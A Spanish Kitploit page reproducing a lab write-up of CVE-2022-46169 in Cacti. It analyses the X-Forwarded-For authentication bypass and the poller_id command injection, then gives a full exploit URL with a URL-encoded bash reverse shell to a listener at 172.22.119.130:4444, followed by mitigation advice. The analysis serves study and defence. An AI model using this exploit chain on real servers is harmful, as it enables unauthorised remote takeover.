Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-46169 — Análisis paso a paso de CVE-2022-46169: ejecución remota de código no autenticada en Cacti mediante omisión de autenticación e inyección de comandos, con configuración de laboratorio Docker y guía de explotación. | Kitploit
Herramientas/GitHubGitHub/hpt-intern-task-submission/cve-2022-46169
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebComando y ControlAutenticaciónAprendizaje y EducaciónLabs y Práctica
GitHubhpt-intern-task-submission/cve-2022-46169

CVE-2022-46169

Análisis paso a paso de CVE-2022-46169: ejecución remota de código no autenticada en Cacti mediante omisión de autenticación e inyección de comandos, con configuración de laboratorio Docker y guía de explotación.

Ver Repositorio
4hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-46169 - Ejecución remota de código no autenticada en Cacti

¿Qué es Cacti y su vulnerabilidad?

Cacti es una herramienta de monitoreo operativo de código abierto escrita en PHP, MySQL/MariaDB, que proporciona una interfaz amigable.

La vulnerabilidad fue encontrada en 2022 y afectó a todas las versiones anteriores a la 1.2.23. Este error requiere una cadena de omisión de autenticación e inyección de comandos para lograr RCE (Ejecución Remota de Código).

Configuración del laboratorio

En este análisis de CVE, ejecutaré Cacti en Docker y usaré VSCode para el análisis de código. La configuración será bastante simple, primero necesitamos un archivo docker-compose.yaml para crear un nuevo entorno. A continuación se muestra el archivo docker-compose.yaml:

root@kitploit:~
version: '2'

services:

  

cacti:

image: "smcline06/cacti"

container_name: cacti

domainname: example.com

hostname: localhost

ports:

- "8088:80"

environment:

- DB_NAME=cacti_master

- DB_USER=cactiuser

- DB_PASS=cactipassword

- DB_HOST=db

- DB_PORT=3306

- DB_ROOT_PASS=rootpassword

- INITIALIZE_DB=1

- TZ=America/Los_Angeles

volumes:

- cacti-data:/cacti

- cacti-spine:/spine

- cacti-backups:/backups

links:

- db

  

db:

image: "mariadb:10.3"

container_name: cacti_db

domainname: example.com

hostname: db

ports:

- "3307:3306"  # Change host port to 3307

command:

- mysqld

- --character-set-server=utf8mb4

- --collation-server=utf8mb4_unicode_ci

- --max_connections=200

- --max_heap_table_size=128M

- --max_allowed_packet=32M

- --tmp_table_size=128M

- --join_buffer_size=128M

- --innodb_buffer_pool_size=1G

- --innodb_doublewrite=ON

- --innodb_flush_log_at_timeout=3

- --innodb_read_io_threads=32

- --innodb_write_io_threads=16

- --innodb_buffer_pool_instances=9

- --innodb_file_format=Barracuda

- --innodb_large_prefix=1

- --innodb_io_capacity=5000

- --innodb_io_capacity_max=10000

environment:

- MYSQL_ROOT_PASSWORD=User@123

- TZ=America/Los_Angeles

volumes:

- cacti-db:/var/lib/mysql

  

volumes:

cacti-db:

cacti-data:

cacti-spine:

cacti-backups:

Después de crear el archivo, abre la línea de comandos y navega hasta el directorio del archivo, ejecuta el comando docker-compose up -d, abre el navegador y accede a localhost:8088. Primero verás una página de inicio de sesión:

página_de_inicio_de_sesión

La credencial predeterminada es admin/admin. El proceso de configuración se presentará en las siguientes imágenes:

nueva_contraseña

Crear nueva contraseña

1 2 1 1 1 1 1 1 1 1 1

Después de finalizar la instalación, tendremos una pantalla de consola como esta:

consola

Ahora comencemos a analizar la vulnerabilidad. Como sabemos, el archivo vulnerable es remote_agent.php, así que intentaremos acceder al archivo en el navegador:

agente_remoto

Dice que no estamos autorizados para acceder al archivo. Es hora de ver el código fuente del archivo:

cliente_remoto_autorizado

Verifica llamando a la función remote_client_authorized(). Profundicemos en esa función.

cliente_remoto_autorizado_profundidad

Primero, el servidor obtiene nuestra dirección IP a través de la función get_client_addr() y luego usa la función gethostbyaddr() para traducir nuestra IP a un nombre de host. Luego, el servidor obtiene todos los pollers disponibles en la tabla poller y compara el hostname de cada poller con tu hostname traducido desde la dirección IP. Hay una omisión aquí, dentro de get_client_addr():

obtener_dirección_cliente

Podemos ver que el servidor recuperará la dirección IP a través de uno de los siguientes encabezados:

root@kitploit:~
-   X-Forwarded-For
-   X-Client-IP
-   X-Real-IP
-   X-ProxyUser-Ip
-   CF-Connecting-IP
-   True-Client-IP
-   HTTP_X_FORWARDED
-   HTTP_X_FORWARDED_FOR
-   HTTP_X_CLUSTER_CLIENT_IP
-   HTTP_FORWARDED_FOR
-   HTTP_FORWARDED
-   HTTP_CLIENT_IP
-   REMOTE_ADDR

Esto nos permite controlar completamente el valor de nuestra dirección IP. En este caso, podemos usar el encabezado X-Forwarded-For para falsificar nuestra IP a una IP válida, lo que nos permite omitir la autorización. El encabezado X-Forwarded-For se usa a menudo para identificar la dirección IP original si hay un proxy o balanceador de carga entre el cliente y el servidor. Sin embargo, esto será una superficie de ataque para que los atacantes exploten. Debido a que ejecutamos cacti localmente, necesitamos especificar una dirección IP que se traduzca a localhost, que es 127.0.0.1.

IP_falsificada

Se ve bien ahora, ¿verdad? Sin embargo, ¡es solo el comienzo, colegas! Necesitamos más análisis de código para poder inyectar comandos y obtener ejecución remota de código. Después de completar la autenticación, el programa ejecutará este código:

switch_case_accion

El servidor obtendrá el parámetro action y entrará en un Switch/Case. Si el valor de action es pollerdata, el programa llamará a poll_for_data(). Esta función es vulnerable a la inyección de comandos, por lo que la analizaremos cuidadosamente.

poll_for_data

La función tomará 3 parámetros $local_data_ids, $host_id, $poller_id recibidos de los parámetros de solicitud del usuario local_data_ids, host_id, poller_id. Observa la diferencia en la función para recuperar los parámetros: uno es get_filter_request_var y el otro es get_nfilter_request_var, hay una n adicional en la última función, hablaremos más sobre esto. Después de eso, el programa verificará si proporcionamos el parámetro local_data_ids y recorrerá cada uno para recuperar datos de la tabla poller_item basándose en local_data_ids y host_id. La consulta se guardará en $items.

proc_open

Si la consulta devuelve resultados, el programa recorrerá cada $item en $items y entrará en una declaración Switch/Case que toma $item['action'] como valor de Switch. Hay muchos casos, pero el caso que debemos investigar es POLLER_ACTION_SCRIPT_PHP, que significa que action es igual a 2.

POLLER_ACTION_SCRIPT_PHP

Una vez que action es 2, el programa ejecutará el comando proc_open(), que es bastante similar a exec(), y tomará $poller_id como una de las variables, que está completamente controlada por nosotros. Para una mejor visualización, deberíamos acceder a la base de datos para recuperar el contenido de la tabla poller_item y ver cómo se ve.

tabla_poller_item

De la tabla, vemos que debemos hacer un ataque de fuerza bruta en local_data_id para obtener el poller que tiene action = 2, esto se aplicará en la explotación del mundo real. Por defecto, cacti no tiene ningún poller con action = 2, sin embargo, esto se puede hacer agregando nuevas plantillas como device:

crear_dispositivo_1

crear_dispositivo_2

crear_dispositivo_3

Después de crear el nuevo device, accedemos nuevamente a la tabla poller_item y vemos que hay un nuevo poller con action = 2:

crear_dispositivo_4

Ahora revisemos todo el proceso nuevamente. Para explotar con éxito el error, primero debemos omitir la autenticación agregando el encabezado X-Forwarded-For. El siguiente paso es proporcionar el parámetro action a polldata, host_id =1, local_data_ids igual al poller correspondiente que tenga action =2, en este caso local_data_ids = 6, y lo más importante, el parámetro poller_id es donde inyectaremos el comando para obtener ejecución remota de código. El uso de get_nfilter_request_var() hace que este parámetro sea vulnerable. Mientras que get_filter_request_var solo acepta enteros, get_nfilter_request_var nos permite ingresar cadenas. Además, no hay validación de entrada para este parámetro, lo que lleva a una inyección completa de comandos.

Ejecutemos un servidor Kali Linux escuchando solicitudes.

kali

Necesitamos la dirección IP y el puerto de kali donde se ejecuta el servidor para construir el payload, en este caso son 172.22.119.130 y netcat se ejecuta en el puerto 4444.

Ahora abramos Burpsuite y comencemos a explotar, el payload utilizado aquí es ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261. El payload usa un ; para finalizar el comando anterior y ejecutar un nuevo comando. El resto es un comando simple para obtener una shell inversa. Combinando todo, tenemos la URL completa: localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261

explotar_1

explotar_2

¡Bum! Hemos explotado con éxito el error. El proceso y la explicación son bastante largos, pero en general, esta no es una vulnerabilidad muy complicada.

Mitigación

La causa raíz de esta vulnerabilidad es el uso de la función get_nfilter_request_var() para el parámetro poller_id. Podemos cambiarla por get_filter_request_var() para que solo acepte enteros:

mitigación_1

Podemos agregar otra capa de seguridad sanitizando el valor de poller_id usando la función cacti_escapeshellarg(). Estas prácticas asegurarán que solo se pase una entrada válida a poller_id antes de usarlo en pasos posteriores.

mitigación_2

Este es el final del análisis. Espero que aprendas algo significativo. Como podemos ver, la vulnerabilidad a menudo ocurre en la entrada del usuario. Por lo tanto, es muy importante que apliquemos una validación de entrada adecuada para asegurar nuestro servidor. La ejecución remota de código es tremenda, pero aún hay una manera de prevenirla. ¡Feliz hacking!

Referencia

https://viblo.asia/p/phan-tich-lo-hong-unauthenticated-command-injection-cve-2022-46169-trong-phan-mem-cacti-MkNLrOK8VgA https://www.vicarius.io/vsociety/posts/unauthenticated-rce-in-cacti-cve-2022-46169

Descargar herramienta